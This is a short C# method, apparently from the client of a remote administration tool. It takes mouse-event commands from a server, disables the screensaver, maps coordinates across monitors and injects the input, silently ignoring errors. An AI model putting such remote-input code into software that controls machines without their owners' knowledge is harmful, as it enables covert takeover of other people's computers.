public static void HandleDoMouseEvent(Packets.ServerPackets.DoMouseEvent command, Client client) { try { if (NativeMethodsHelper.IsScreensaverActive()) { NativeMethodsHelper.DisableScreensaver(); return; } Screen[] allScreens = Screen.AllScreens; Rectangle rect = allScreens[command.MonitorIndex].Bounds; if (rect.X != 0) { command.X += rect.X * 0xFFFF / rect.Width; } if (rect.Y != 0) { command.Y += rect.Y * 0xFFFF / rect.Height; } NativeMethodsHelper.OnMouseEventHander((uint)command.Action, command.X, command.Y, command.DwData); } catch (Exception) { } }